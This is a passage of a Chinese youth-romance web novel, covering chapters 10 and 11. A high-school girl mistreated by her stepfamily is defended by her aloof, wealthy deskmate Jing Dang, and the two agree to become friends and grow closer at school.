昨天易珍如生气地上楼,以及易振秦和秦思仪吵架的画面还在脑海里重映,易书杳嘴巴干干的,好像嚼了苦杏仁。 她不想碰见这三人中的任何一个,可是好巧不巧,下一秒就碰上了易珍如。 小公主刚从家里的室内羽毛球场出来,秦思仪给她撑着伞,两人一副很高兴的模样,边说边笑。 易珍如不知怎么地就看到了易书杳,顺带着还看到了那辆cayenne驶走的背影。 秦思仪也看见了,问:“cayenne?上次在荆家好像看见了,那是荆家的车。” 易珍如当然知道这是荆家的车,只是她不知道,易书杳为什么会认识荆家的人。她对秦思仪说:“我去问问。你回客厅吧。” 秦思仪没阻止,只道:“别太过分。” “知道。” 秦思仪随手叫来一个用人,撑伞回了客厅。 易珍如马上踩着羊皮鞋,走到易书杳面前,攒眉问:“刚刚是谁送你回来的?” “没谁,”易书杳随口敷衍,“同学。” “那是荆家的车,”易珍如问,“你跟荆荡一个班,荆荡送你回的?” 易书杳怕引起不必要的误会,摇头否认:“不是。” “那为什么是荆家的车?”易珍如说,“你最好跟我解释清楚。” “我为什么要跟你解释清楚?你不觉得很莫名其妙吗?”易书杳有点恼火,脾气却还是很好。她实在不想跟易珍如产生矛盾,尽力维持平和的局面。 “你别废话了,我问什么你就答什么,不明白吗?”易珍如趾高气扬。 易书杳懒得理她,说了句“雨太大,我先回卧室”,便走了。 易珍如哪会放她走,眼疾手快抓住她胳膊:“你干吗?我问你话你不知道吗?” 雨真的太大,模糊视线,地面的水流哗哗不断,易书杳骤然被死抓住胳膊,一个趔趄没站稳,摔在了地上。 易珍如眨眨眼,看着摔在地上的易书杳举高双手:“我没推你啊,你别到爸爸面前告我的状。” 易书杳翻了个白眼,她浑身都被地上的水打湿了,黏在衣服上很不舒服。 她站起来,拍拍膝盖上的泥:“我跟你没仇吧?如果你不喜欢我,你去跟你爸说,让他把我送回乡下。从一开始,就不是我想来这里的,你以为我很想呆在这里吗?这破地方有什么好的?” 易书杳的伞早已被风吹跑,雨水浇在她脸上,好像上天也在流泪。 说完以后,她偏开头,路过了易珍如。 易珍如大小姐脾气发作,冲易书杳喊:“什么叫我这里是破地方啊?易书杳你没人要你不知道吗?这世界上真心为你好的人只有你妈妈和外婆,她们都死了——” 听到这里,易书杳顿住了脚步,她这辈子最大的软肋就是妈妈和外婆,一旦被人触及,就会变得易怒。 女孩子咬住唇角,回头看向易珍如,一步步走向她:“好好的你提我妈妈和外婆干什么?她们好歹是你长辈吧?人都不在了,你凭什么提她们?易珍如,我觉得我已经够容忍你了,你别得寸进尺。” 易珍如是只纸糊的老虎,被迫后退了几步,嘴不饶人地回道:“那我不提她们了就是!反正你要跟我解释清楚,今天为什么是荆家的人送你回来,是荆荡送你回的吗?” “是,你满意了吗?”易书杳不想再跟她争什么,拿起地上的伞就走。 易珍如听到这个回答,脸色马上就挂不住了,抓住易书杳手腕:“他为什么送你回来?” “同学之间送一下很正常吧?你松手。”易书杳奋力地挣脱了下,易珍如还是抓着她手腕没松。 “松手。” 易珍如盯着易书杳:“他就是顺路送你回来而已,你可别多想。荆家我们高攀不起,知道吗?” 见易书杳一味挣扎而没有开口说话,易珍如继续抓着她:“我们家没有一个人真心地欢迎你来,你就是没人要,也别妄想荆荡会专门送你回来,懂吗?这不可能。” “不好意思啊,没人真心欢迎我来,我也在这住下了,”易书杳脾气上来,使劲拽了一下,说,“至于荆荡,我跟他不熟,他也不可能专门送我回来,我知道他是顺路,我根本不关心这个,也不在意。” 易珍如没想到易书杳会使这么大力气,一不小心被她拽在了地上,整个人扑到草堆里,变得灰扑扑的。 易书杳向来善恶分明,对于这种胡搅蛮缠的人,她一点也不善良地拿了伞就走,没再看一眼。 易珍如在草地里气得掉眼泪地大喊:“易书杳,你拽我就算了,居然还不扶我起来!” 易书杳没理她,走出好几米,直到被秦思仪和易振秦拦下来。 秦思仪看着易振秦黑脸,撂下一句话就往易珍如那走:“你都看清楚了吧?你宝贝女儿推人真够厉害的。” 易振秦看着秦思仪的背影,又看了眼易书杳。 易书杳对上易振秦的视线,想起他那晚说的会站在她这边,这件事也是易珍如先挑的头,她第一次这么自信,爸爸会站在她一边。 于是刚想说“您看清楚了吧,是易珍如先推我的”,没成想易振秦已经率先开口了:“杳杳,如如她大小姐脾气惯了的,你又是当姐姐的,怎么能推她呢?你要让让她啊,当姐姐的不能欺负妹妹吧。” 这句话像是今晚的一记炸雷,将易书杳的心炸冷。 她刚才和易珍如吵架摔在地上都没有掉眼泪,此时却鼻尖酸了一下,想说是易珍如先推她的。 “你别说了,走,跟我一起去看看她。”易振秦二话不说拉着易书杳的手就走。 易书杳的手被抓得发疼,强硬被拉着走到易珍如面前。 秦思仪蹲着在给掉眼泪的易珍如擦脸上的草灰。 易珍如见易书杳来,眼泪掉得更凶了,对易振秦指着她:“爸,她推我,你看见了吧,我差点都要脸着地了!” 秦思仪亦气愤地看向易振秦:“你前妻没教过怎么教女儿啊?没妈的孩子就能随意推人吗?” “秦阿姨,”易书杳又被碰到痛处,比易振秦更快出声,语气有些沉,“那您呢?易珍如有妈妈吧,今天是她先招惹我的,先推我的,我也摔在地上了,你都看见了吧?您就没教过易珍如吗?” 易振秦反应过来,看向秦思仪:“如如先推杳杳了?你跟我可不是这么说的。” 他没有全程观看,就看到易书杳推易珍如了。 “你什么意思啊,”秦思易没跟易振秦对峙,蹙着眉对易书杳说,“你刚才那话再跟我说一次?什么叫如如没妈,我还站在这呢,我不是你长辈吗?” 易书杳想说话,被易振秦抢了先:“好了好了,既然两个人都互相推了,那也不是杳杳欺负了如如,姐妹俩以后有事就说事,别互相推来推去。” 易珍如见易振秦没站她这边,气得哭嚎:“那我今天为什么推她啊,还不是因为荆荡送她回来!” 易振秦:“荆荡?荆家那个少爷?” “对,就是他。”易珍如抹了下眼泪。 秦思仪见不了宝贝的女儿流眼泪,对易珍如说:“人家荆荡就是顺路送她一下,他家里离我们这近,你又不是不知道。要是你下雨天没人接,他看见了也会送你的。我们家跟他们有来往,他是尊重我跟你爸才送她的。” 易振秦没敢搭这个腔,他知道荆家那个压根不会看在他面子上,不过此时为了安慰女儿,他瞎说道:“是啊,就是顺路而已。” “我当然知道是顺路——”易珍如仰着头,把眼泪往回倒,看向易书杳,正准备说话时,眼前出现了一个意料不到的人。 荆荡语气扯笑,带着极重的压迫感:“谁说是顺路?我特意专门送她回的。”他咬重“特意”“专门”两个词语,让在场的三人听了都惊讶。 其中最惊讶的是易如杳。她不知道荆荡为什么又回来了,还说出这句不符合他平时作风的话。她知道他不是顺路送她回来,但也只是限于同学之间的普通好心而已,跟“特意,专门”不搭界。 他应该是在帮她顺口怼一句而已。对。 “荆大少爷,你怎么来了?”易振秦是第二吃惊的人,他很早之前想搭上荆家,苦于没有门路,上次去老太太生日宴也没说上话,不知道这个豪门的天之骄子怎么就出现在了他家,跟做梦似的。 易珍如和秦思仪也很惊讶,不过前者没敢出声,后者端起做长辈的架子,道:“是你送我们家书杳回的?真是谢谢你啊。” 秦思仪见易珍如还在哭,又为着哄她,跟荆荡笑了笑:“你今天送书杳回来,珍如还跟我们闹呢。我说下次要是碰上这下雨天,你要是见了珍如没人接,也会顺路送她回来是吧?哎,上次你奶奶生日,我们见过的,你有印象吧?” 荆荡没搭理人,将手链给易书杳:“落车上了。” “噢,”易书杳看向空落落的手腕,连忙把手链接过来,惊喜道,“谢谢。” 荆荡上下扫她两眼,发现她衣服上有些脏,眼泪还黏在睫毛上成了亮碎的玻璃。 他第一次感觉体内的戾气压不住,这才看向其他人。易书杳初中没在这边读,是高中才转到海城的,还有一些七七八八的事他也听过不少。 再稍微结合一下今夜的现况,以及易书杳白天那破状态。不难得出刚才发生了什么。 荆荡懒得掰扯,他见惯了生意场的名利作派,蛇打七寸地对易振秦撂了句:“你要是还想搭上我们家,就对她好点,明白么?” 荆荡边说,还边朝易书杳扬了扬下巴,维护她的意思很明显。 秦思仪怕今晚的事传到圈子里,笑着说:“我拿书杳当亲生女儿,当然对她好,你这是说什么话?” “我说什么你心里清楚,要是今天的事再发生第二次,明年城西科股的期权你们不会分到一分钱。” 城西科股是易振秦想搭上荆家的最终原因,而圈子里谁不知道荆荡在荆家的地位,所以他这句话砸出来,易振秦知道其中的分量。 秦思仪亦不敢说话了,扯着还想说话的易珍如让她闭嘴。 “你的话我明白,但书杳是我女儿,你不说这话我也懂。”易振秦说。 荆荡:“那她今天不高兴了一整天,你懂?” 易书杳听到这句话,整颗心脏好像被人用手酸涩地揉了把,她完全没想到今天他竟然注意到她情绪。那种有人理解的委屈感袭来,她吸了下鼻子。 “杳杳,你——”易振秦有些惊愕地看向易书杳,“是不是昨天晚上我和你秦阿姨吵架,你听见了。” 易书杳又吸了下鼻子,根本开不了口,一说话就会带哭腔。她没说话,简单地摇了摇头,倔强地没承认。 不过易振秦已然明白了。他看了看荆荡,没多久便沉默地回了客厅。 秦思仪也抓着不肯走的易珍如走了。 雨天的深夜,只留下易书杳和荆荡两个人。 荆荡:“在学校帮别的女生那么有勇气,到家里就成了受气包,易书杳,你这么有能耐啊?就不能硬气点,跟学校里一样?” 易书杳也不知道此时为何她的委屈感达到峰值,撇了一下嘴巴,偏头无声地流着眼泪。 荆荡拿她没办法,从口袋里拿出一包新纸巾,拆开来递给她一张,低声说:“好了,先擦擦眼泪。” 很莫名的,易书杳的眼泪掉得更凶了,大概是从来没有人这么语气低迷地近似哄她。况且这个人还是那个冷惯了的荆荡。 “好。”易书杳一边掉眼泪,一边很乖地接过纸巾,有些不相信荆荡会对她这么好。 接过纸巾擦掉眼泪后,她看着荆荡,用力地眨两下眼睛,又去摸了下他的伞。 “干什么?”荆荡蹙眉。 易书杳实话实说:“你这次没凶我,我觉得有些像做梦。我很怕我又在做梦了。”以前她也经常梦到受欺负时,妈妈和外婆会站出来保护她,或者给她纸巾擦眼泪哄她,但是当她睁开眼,一切虚无,她身边谁都没有,摸到的空气都冰冷。 荆荡不知道她这些悲伤和痛苦,道:“幻想症这么严重,有病就去治。” “……”易书杳:很好,她知道不是做梦了,这样的话只有他才说得出。 雨淅淅沥沥地下着,荆荡撑着把黑色的伞,见易书杳一边打伞一边擦眼泪不方便,拿过她的伞扔地上,把他的伞举过她头顶。 周围骤然多了一个强劲有力的手臂,以及一道温热高大的身躯,易书杳对于今晚荆荡出现在她家这件事才有了真正的实感。 风被他挡住,站在这好像一点也不冷,体温渐渐恢复,她的脑子转起来,想到他在易振秦和秦思仪面前说的那些话,眼睫垂下,慢吞吞地问出那句很想问的话:”你怎么知道我今天不开心的?” 荆荡的唇角扯起一个懒洋洋的弧度:“怎么,我看起来是傻逼吗?” “不是,我没这个意思,”易书杳被这话逗到,杏眼里存的泪水荡漾开弯曲的弧度,“你干嘛这样说。” “嗯?”荆荡就见不了她眼睛周围有泪水,不由自主拿起纸巾,伸手帮她擦过眼泪,“我说什么了?” 男生的身上带着不容忽视的凛冽味道,像冬天早间八点的雪,又像夏天香草味的冰淇淋,他拿着纸,眉眼凑她有些近,骨感长皙的手指拿着纸,动作很生疏地帮她擦着眼泪。 “你干什么……”易书杳激起一股酥酥麻麻的感觉,浑身像带了流星似的,心脏要从喉咙里跳出来,她匆忙拿过纸巾,呓语道,“我自己擦就好了。” “那你要擦就擦干净点,”荆荡道,“别擦一半留一半看了让我烦。” “哦。”易书杳垂了垂嘴角,拿纸巾飞速地把眼泪全擦干净了。 虽然眼泪没了,荆荡看着她红彤彤的眼眶还是心烦,不耐道:“你以后能不能别被其他人欺负了。” “那这种事情我怎么控制呀,”易书杳一副“你别为难我”的表情,“不过我一般不怎么被人欺负的,只不过……刚好都被你撞上了而已。” “那他妈可真是赶巧。” “……你别说脏话。”易书杳在心里忍了很久,今天终于忍不住说了出来,说完以后她后怕地悄悄抬眸看他反应。 那人就在她旁边,雨水在他一半是明亮,一半是黑暗的五官上流淌,看不出是什么表情,只看到他薄唇动了动:“抽烟要管我,现在说脏话也要管我,易书杳——” 荆荡朝她偏了偏头,像是觉得有些荒唐地问:“你明天是不是连我逃课打架都要管了?” “可以管吗……”易书杳思索半刻,弱弱地问了句。 荆荡看向她的神情中携带更多的荒谬感,野而帅的脸上就好像打着一个问号。 易书杳低下脖颈,露出毛茸茸的长发,真情实感地说:“你最好还是不要逃课,上次数学课上函数的先导课,你都不来,以后很容易学不明白的。然后打架就更过分了,很容易就会被处分或者开除。” 荆荡主动忽略前半句话,一副无所谓的态度问后半句话:“被开除是什么很严重的事?” “那你就撒谎了,”易书杳闻言抬起眼睛,第一次盯着他说话,“你答应我了的,得一直和我坐同桌。” “这你就记清楚了,”荆荡哂睫道,“让你别瞎掉眼泪就听到狗肚子里去。” “……”易书杳跟他掰扯不清楚,也说不过他,索性不说话了,静静地摩挲着手指,眼角眉梢都有点弯弯的,只是自己都没发现。 时间太晚,荆荡扫了眼她:“走了。” 易书杳喔了声,说:“那你回家注意安全。” “该注意安全的人是你,下次被他们欺负就跟我说,听见没?” 夜晚的天黑沉沉的,易书杳的睫毛轻颤了缠,心脏好似被一股春风缠住,枝芽冒开清浅的绿意,生机盎然。 她点点头,弯唇笑了下,声音有些低:“知道啦。” 荆荡嗯了声,拿起伞转身,往门口的方向走。 车还在打着双闪,昏黄的光亮在漆黑里刺眼。 他走出好一段距离,在即将拉开车门的那一瞬,衣角被人扯住了。 荆荡回头,看见易书杳慌慌张张地松开扯他衣角的手。 “怎么?” “没,”小姑娘温吞地摇摇头,欲言又止地侧过头,“就是想跟你说声谢谢……你今天帮了我。” 荆荡觉得好笑地笑出声:“跟我道个谢就这么难为情?” “没有啊,我哪里有。”易书杳还是有些羞怯地摇头,又听见荆荡很轻地笑了声。 她羞怯的意味更浓,最终恼羞成怒地看向他:“笑什么啊你,再笑就揍你啊!” 荆荡笑得肩膀微颤,喉咙笑着滚出一句话:“揍我?行啊,我不还手。” “懒得跟你讲。”易书杳又侧过了头,摩挲了好几下手指,脸还红着,只是一言不发地站着,好像还有话要说,一脸心事重重的模样。 荆荡收了笑意,问:“还有事?” “有,”易书杳飞速看了他一眼,低下头,“还有个事情要说。” 荆荡:“说。” “就是……”易书杳抿了抿嘴巴,“嗯……”她扭捏了一会儿。 荆荡拉开前面的车门:“不说我走了。” “哎——”易书杳率先关上车门,把他拉到距车远点的地方,“你别急。” “我们俩什么关系,你别拉拉扯扯的。”荆荡被她拉得有点耳朵薄红,松了开来。 “哦哦,对不起。”易书杳也是真怕他走了才急了,慌忙扯了扯他的衣袖,现在听见他这句话,羞恼得脸像浸了桃红的染料。 两人站在一棵百年槐树下,都静了半分钟才说话,还是易书杳先开口:“我想说的事情,就是有关于我们的关系。” “我们的关系?” “对。”易书杳郑重地点了点下巴,顿了小一会儿,轻声问,“我们可以……成为朋友吗?” 今天荆荡这样帮她或许只是因为他看不下去,但易书杳想让她跟他的关系变得再密切一些,不再只是同学,同桌,而是,朋友,能够互相关心,分享喜怒哀乐的朋友。 “朋友?” “对。”易书杳认真地问,“可以吗?” 荆荡看着她真切和期盼的眼神,缓缓挑了下眉梢。长这么大了,还没有人问过能不能跟他做朋友。不是……她是小学生吗? 荆荡被她可爱得偏头扯了下唇,心脏好像被一只萌萌的短尾猫咬了一口。 这边易书杳不知道他在想什么,见他迟迟没答应,以为他要拒绝她了,尽职尽责地替他找着台阶:“哦,不做朋友也没关系的,我也不是很在意这个,你要是不想做的话,我都可以呀。我随便你吧,我不是很关心。做朋友也没什么好的——” 荆荡被她萌得从口袋拿出烟,斜着干咬进嘴里,想到什么,他又拿走烟,走到槐树下的垃圾桶旁,扔了进去。 易书杳跟在他身后,探出脑袋:“嗯?你真不想跟我做朋友?想清楚了吗你?你要不要回去好好想想,跟我做朋友很好的。” “有多好?”荆荡侧头看她。 这句话把易书杳问蒙了,说实话,从小到大她还没这么追着问一个人要不要做朋友的。她是个内向的人,只有在自己感到安全的范畴内,才能鼓起勇气多说两句话。 也许是今晚的前半夜太难受,荆荡出现的时刻太恰合,易书杳第一次这么想竭尽全力地拉住一个人。 拜托,就让这个人一直出现在她的生命里吧。 下一次,她掉眼泪的时候,能不能也是他帮她擦。 “有多好?你让我想想,给我两分钟,我想想。”易书杳低着头,陷入沉思。 槐树的清香伴着倾倒而来的月光,雨丝漫漫,世界似乎罩在一个真空的玻璃宝盒里。荆荡那么燥的性子,竟也静静地看着她,等待了两分钟。 不过,他没有发现自己一直在看她。而是直到易书杳抬起头,两人视线撞在一起,荆荡才发现他看了她两分钟。 操,他有病吧。他也该去医院治病了。 荆荡猝不及防地移开眼神,滚了下喉咙,想抽烟的欲望好浓郁。身体也很热,蓬勃的,恣肆的,燥热的,无解的,统统在今夜盛放开来。 “是这样的,”易书杳郑重地清了清嗓子,说,“我们以后要成了朋友,你上数学课睡觉,不听课对吧?我能把我精心做的笔记借你。” “笔记不是你本来就要做的?”荆荡:“跟我有关系么?” “……”易书杳:“那你以后在教室睡觉,我帮你拉窗帘。” “我自己没手?” “……”易书杳咬了咬牙,“那你以后没烟了要去商店买,我帮你代购。” “那是许之淮的事,用不着你。” 易书杳握紧拳头,说:“那你想让我怎么办?你别太过分。” “不怎么样,你说的这些我都不感兴趣。” 听到这句话,易书杳的眉眼怔了怔。是啊,她能做的这些换了另外的任何一个人都能做。她是很需要荆荡这个朋友的,在学校里,她好像就只有他了。可是荆荡不一样啊,他在学校里受尽追捧,压根不缺朋友。 想到这里,易书杳的拳头也松开了。她咬住嘴唇,轻轻点了点头:“知道了。”说罢,她撑着伞,难过地离开了。 迎面的风带着槐树的苦涩味道,干枯又滞闷。 忽然,她的衣摆被人扯住:“喂。” 易书杳一愣,侧过头,看见荆荡的手虚虚拉着她衣袖,他微微仰着头,朝她勾了下嘴角:“就算你一无是处,我也好像还是挺想跟你做朋友的。” 易书杳被“一无是处”这个词笑到了。下一秒,她就笑不出来了,心脏几乎停住,如同停滞不前的粉色摆钟。 因为,荆荡轻轻用力拉了下她衣袖,将她整个人拉得距他近了些。他低声说:“我们现在是朋友了,行么?”【你现在阅读的是 】 10、 笑得这样可爱干吗 10. 易书杳回到家里,上楼,没有碰到任何不想碰见的人。回到卧室之后,她洗完澡,门口传来敲门的动静,是易振秦的声音,有些低:“杳杳,睡了吗?” 易书杳刚刷完牙,嘴里有一股清甜的桃子味,怔了下:“还没有。” “你不用开门,我就跟你说两句话。” “喔,”易书杳不知道该怎么样面对易振秦,踩着拖鞋走到门口,脑袋垂在门上,“好。” 安静片刻。 易振秦说:“爸爸这些年对不起你,你以后受了委屈,就跟爸说,可以吗?” 易书杳没说好,只笑了一下,说:“我知道。” 也许,接受家人并不爱自己,是一件很难的事。但是人总会长大,既然抓不住,那就不去抓了吧,省得以后难过。 在这个普普通通的一天,十六岁的易书杳好像长大了一些。 她想听从内心的选择,去抓那些她想靠近,一旦靠近了就像摸到了炽热阳光的人。 夜晚,易书杳梦到了荆荡。 迷蒙梦幻的花园里,他拉着她的衣角问她要不要做朋友。她腼腆地侧过脑袋,挤出了一个嗯字。 他便点了点头,说了个行字。随后两人分开,朝着不同的方向,她嘴角弯弯的,笑意仿佛要从眼角眉梢溢出来。而他虽淡着一张脸,一想到某人瞪圆着眼问要不要做朋友的模样,唇角也会不由自主地勾扯一下。 梦醒的那一刻,第二天的阳光晒进卧室。 易书杳生物钟拉响,迷迷糊糊地睁开眼,在去学校的路上,她第一次感到了“近乡情怯”。 昨天晚上的氛围太好,又是下雨又是昏暗的,让她鼓起勇气追着他问要不要做朋友。而最后,他也问了她要不要做朋友。 这种对话发生在晚上还算合适,可是白天回想起来,她觉得既开心又羞怯,嘴里像咬着一颗清甜的跳跳糖,刚走进教室,她的心脏便蹦跶个没完。 而一向来得很晚的荆荡,今天也不知为何已经来了。他坐在窗边摆弄手机,清晨的光线落在少年穿着的蓝白短袖校服上,背后挺立的肩胛骨明显地突起,修长有力的双臂懒散地倚在桌上,眉目浓烈而出众。 易书杳咽了咽喉咙,慢吞吞地走过去,将书包放在桌上,想主动跟他说声早上好,可是嗓子像被糖黏住了似的,开不了口。 怎么回事呀?她竟然羞怯成这样了。 易书杳揉了揉自己的手心,安静地从抽屉拿出语文课本,紧张地翻开,时不时偷偷打量他两眼。 他手机玩得专注,似乎没有看到她已经来了。 而易书杳每看他一次,她就想起昨晚发生的对话,羞赧得她想穿回昨天,把那个追着他问要不要做朋友的易书杳狠狠抓走,然后扔掉。 “你看看这个。”许之淮的声音传来,他把手机递给荆荡。 易书杳正大光明地看向他们,决定勇敢地随机插话。 荆荡接了手机,看见屏幕上大尺度的视频内容:“……”有病? 他看向许之淮:“你傻逼?” “不是让你看片,我的意思是你看现在这种片都是这种场景了,感觉挺不可思议的。”许之淮纯粹是觉得有趣,便接过手机让荆荡看屏幕,还划了下进度,“你看,很神经病吧?” 荆荡看到屏幕的视频里,以校园的教室作为背景,男生和女生穿着校服,姿态亲密地进行着前奏。 荆荡把手机还给许之淮:“许之淮,你挺有病的。” “这片看着还不错哎。”许之淮又划了下进度,小声道。 毫不知情的易书杳只听到“片”这个字,决定要加入对话。她当然完全不懂这些,懵懂地凑过去许之淮那里:“什么片啊?我看看呢。” 荆荡觉得她还小,这种东西少儿不宜,他眉心一跳,伸手拿过许之淮的手机,快速地灭掉屏幕:“没什么,就卡通片。” “什么卡通片?”易书杳趁机看向荆荡,弯弯的眼眸笑得很纯。像盛开的蔷薇花瓣上沾着清水的露珠,浇在心尖清澈又迷人。 荆荡看着她的笑容,感觉周围漂浮的空气都烫了起来,烧灼得都让他喉咙变得又热又痒。操,笑得这样可爱干吗? 荆荡忍下抽烟的欲望,滚了滚喉结,把手机还给许之淮,说:“不知道,没看过。” “那给我看看,我小时候看过很多卡通片。”易书杳朝许之淮伸出手,略微得意地说,“肯定能知道片名。” 许之淮要笑得崩溃了,只不过荆荡冷着脸,他便对易书杳摇摇头:“不行哦,你同桌不让。” “这有什么好不让的?”易书杳惊讶地问。 “我不知道哦,你可以问问他呢。”许之淮跟易书杳对话总爱学她,带上各种各样的语气词。 “你恶不恶心?”荆荡听了许之淮带语气词的话,蹙眉道。 “恶心吗?我跟你同桌学的。”许之淮看了眼易书杳。 “啊?”易书杳弱弱地看了眼荆荡,“恶心吗?” 荆荡对上易书杳询问的眼神,收回嫌弃的表情,扬唇道:“啊?还好。” “我靠,你这么双标的。”许之淮怒道,“什么意思呀,都是带语气词,我恶心,你同桌就还好了?你是不是还觉得她这样还挺可爱的?” 荆荡懒得搭理许之淮:“你别发病。” 早自习的老师进来巡视,易书杳乖乖地拿了书早读。 等老师走后,她给自己加油打气一分钟,然后偏头问荆荡:“那个卡通片主要人物长什么样?你说说我就知道是哪部了。” “……”荆荡:“能别说这个了吗?” “怎么啦?”易书杳好不容易积攒的勇气被打破,点了点头,“好,你不想说那就不说了。” 荆荡嗯了声,没再说话。 易书杳继续拿起书早读,却忍不住想一个卡通片有什么好隐隐藏藏的?昨天还说跟她做朋友呢,今天就连个卡通片都不想让她看。 哪有这样的朋友呀,她跟他还算得上朋友吗? 他是真心想跟她做朋友吗?昨天晚上会不会只是为了照顾她情绪呢? 是呀,他怎么会缺她这个朋友。 想到这,易书杳埋怨地横了一眼荆荡。 却没有想到,他也刚好朝她这边看过来。 两人视线对上,荆荡看到她横他的软萌眼神,挑了个唇地语气上扬:“你什么眼神?我惹你了?” “没。”易书杳很怂地摇头,私底下却默默地握紧了拳头。 “那你干吗用这种眼神看我?”荆荡说,“不给你看个卡通片还真就恨上我了?”教室读书声太大,他低下头,离易书杳近了些,声线压低,语气懒怠又好听,“某些人心眼怎么就这么小?” 男生好闻的冷感气味穿插在鼻尖,他漆黑的瞳孔带着攻击又危险的感觉,易书杳听了这话有点小小的暴躁:“没恨你,是我心眼小吗?明明就是你答应了和我做朋友,你今天早上都没搭理我。我都主动跟你说话了,你还不给我看卡通片。” 荆荡还是头一次见不那么温柔的易书杳,她咬着唇角,愤愤地控诉,眼睛里写足了对他的不满。可是她就算生气,也还是小心翼翼的,像一只炸毛的幼年刺猬,只敢小发雷霆。 荆荡还真是没见过这么可爱的人,甚觉好笑地扯起唇角:“哦,我今早哪没搭理你了?” “我到教室,你都没给我打招呼,做朋友不就应该互相打招呼吗?” 荆荡乐了:“哦,这样。” “对啊!你不搭理我,我都忍了吧,我都主动参与你跟许之淮的话题了,一个卡通片你跟藏什么似的,多宝贝,哦,你这卡通片比我这个朋友还重要是吧。那你去跟你的卡通片做朋友吧,不用跟我做朋友啦。”易书杳妙语连珠地看着他,自己都不知道她能一口气说这么多字。 荆荡笑得肩膀都在微颤。 易书杳不明白他在笑什么,后知后觉地害臊起来,又横了他一眼后没再说话,拿着课本开始背课文。 教室的人都在背那首待会课上要抽背的《阿房宫赋》,易书杳早就背完了,便开始背下一首要背的课文。 那人扯着唇角还在笑,温暖的阳光照在他身上,像渲染了一层金色的光,特别耀眼和好看。 “易书杳,有没有人跟你讲过,你很可爱?” 忽然,易书杳听到耳边传来这样一道嗓音。她抬起头,看到荆荡望着她,深刻懒倦的眼眸中反射折进去的日光,语气谈不上认真,但看她的眼神有些专注。 啪嗒的一声,易书杳差点陷进他的眼神,心脏早就跳得飞快。 “……”好奇怪啊,为什么别人离她很近地说话,她一点异样的感觉也没有。但只要荆荡稍微离她近一点,她就各种发病了? 看来她真的要听荆荡的话,早点去医院治病。 “没人说过我可不可爱的,”易书杳缓了十几秒才恢复正常,耳朵被夸得红了,嘴巴还默默地嘟囔,“你别想着随便夸我两句,我就能原谅你今天不把我当朋友的行为了啊。” 荆荡:“我没不把你当朋友,行,以后每天早上,我主动跟你打招呼,行了么?”他笑,“我他妈哪是交朋友,这不是交祖宗?” 易书杳拨了拨眼前的碎发,小声地提醒:“别说脏话,礼貌做人。” “我——”荆荡见她在拨碎发,没忍住拿手用力揉了下易书杳的发顶,“你还真把自己当我祖宗了?” “哎呀,你弄乱我头发了。”易书杳拍了下他的手。 荆荡:“都是朋友,弄乱一下头发怎么了?” “你——”易书杳气鼓鼓地也想弄乱他的头发,但她到底不敢,毕竟这场朋友关系是由他主导,她不知道他的界限在哪里,也就不敢真生气。更何况他刚才揉她发顶,也没弄乱她头发,她只是那一瞬间心脏跳动的速度加快,有种浑身血液加速流过的感觉。 她不知道这是什么感觉,便快刀斩乱麻地指责他弄乱她头发。 此地无银三百两罢了。 于是,易书杳便只好自己整理头发,但她没镜子,不知道怎么整理,便乖乖地随心拨着眼前的头发。 整理到一半,荆荡的声音从头顶掉下来:“算了,你真当我祖宗得了。” 易书杳抬起眼,看见他手伸了过来,朝着她的发顶。【你现在阅读的是 】 11、 她好像奶栗味糕点 11. 少年的手心宽阔,揉在头顶,把易书杳的头发弄得痒痒的。 持续一两秒的悸动感,带来没由来的忐忑意味。 过去好几秒,教室朗朗的读书声依旧伴在耳侧,他的手还在揉着她的头,懒肆恣意地轻笑道:“行么,祖宗。” 易书杳的脸烫极,她偏过头躲开他的手,拿起桌上的语文书:“……我要背书了,待会被抽到背不出来会很丢人。” 荆荡:“你昨天不是就背好了么?”他闲闲地挑了个眉,“你记性这么差,睡个觉就忘了?” “……”他说的是事实,易书杳的确早就背完了,她无力反驳,只能大言不惭道:“嗯,忘了,还不是怪你,都怪你。” 荆荡:“易书杳你少无理取闹啊,这跟我有关系?” “怎么没关系,”易书杳脑袋急速运转,编出一个乱七八糟的理由,脱口而出,“就是你刚刚摸了下我的脑袋,让我不记得背这篇课文了。” 荆荡觉得荒诞地拉了个笑:“你怎么不说,光是我在这里呼吸,就让你忘记昨天背好的课文了?” 易书杳没忍住趴在桌上笑弯了腰。她将脸埋在臂弯里,笑得背脊起伏。 阳光在女生脖颈处落下,细小的毛绒都清晰可见。 荆荡也笑得直不起腰,声音滚着断断续续的笑:“行了,起来,待会被老师批评,你又不开心。” “老师都还没来呢。”易书杳没起来,还趴在桌上笑。 “易书杳你变坏了啊。”荆荡又手欠地伸手揉了两把她头发。 易书杳炸毛地抬头:“别碰我头发了,待会真被你碰得背不出课文了。” “哦,”荆荡扬着唇角,眼睛好似也勾了点笑,瞳孔折进去璀璨的阳光,整个人好似沐浴在盛夏里,低醇桀骜的声线拉长尾音,很醉人,“你罪名都给我安上了,我不得坐实一下?” 这人笑得太坏,也太迷人。易书杳像错弹一个拍节的钢琴师,手心出了汗,脸红地将头轻微撇开,狐假虎威地握紧拳头:“荆荡,你过分了啊。” 荆荡手心存留着女孩头发的温度和桃梨的清香味,仿佛顺着飘进经脉和血液里,他嘴角没忍住扯起来,用力揉了两把后收了手:“行了,背书去。” 易书杳不再理他,又羞又恼地将那首烂熟于心的课文念得心不在焉。 流畅地背完一遍课文后,她想起他笑着揉她头发的感觉,不自觉手指紧紧地缩了下。 有种浑身都被柔软的桃子踩过一遍的感觉,难以形容的悸感。 易书杳揉了下自己的头发,好像摸到他刚才遗留的温度,眼睛轻轻地眨了下。 荆荡那边也没好到哪里去,他看着窗外飘落的梨花,也揉了把自己的头发。 想到他刚才揉她头发的感觉,手指像过了一层电流,指尖发麻。 他咽了下喉咙,勾唇低过头。 此刻,两人没有对视,心脏却是在这一刻意外同频。 这天过后,易书杳发现荆荡这人坏是坏了点,但说出去的话还真是都做到。 每天早上,他都会主动地跟她打招呼。 不过打招呼的方式似乎没那么友好,每天大概是七点三十五分,易书杳已经背了会书,荆荡就会进教室,然后走到她身边,用力地揉一把她的头,勾扯唇角说早上好,麻烦让一下。 他语气懒洋洋的欠揍,易书杳半点都听不出他哪里有自知之明麻烦到了她。 但他每天早上都这样,她也从一开始的暴躁,到逐渐躺平接受,到最后的期待。 是的,当持续了三个月这样的生活后,易书杳开始期待每天早上都能被他揉一把头发。 荆荡下手不重,也不会弄乱头发,每当他的手蹭到她头发时,她的心就会不自觉跳动得飞快。 滨海市就这样进入十二月,气温平稳地下降,夏季校服换成了冬季的。 颜色依旧是青春的蓝白配色,只是穿着显得有些臃肿。 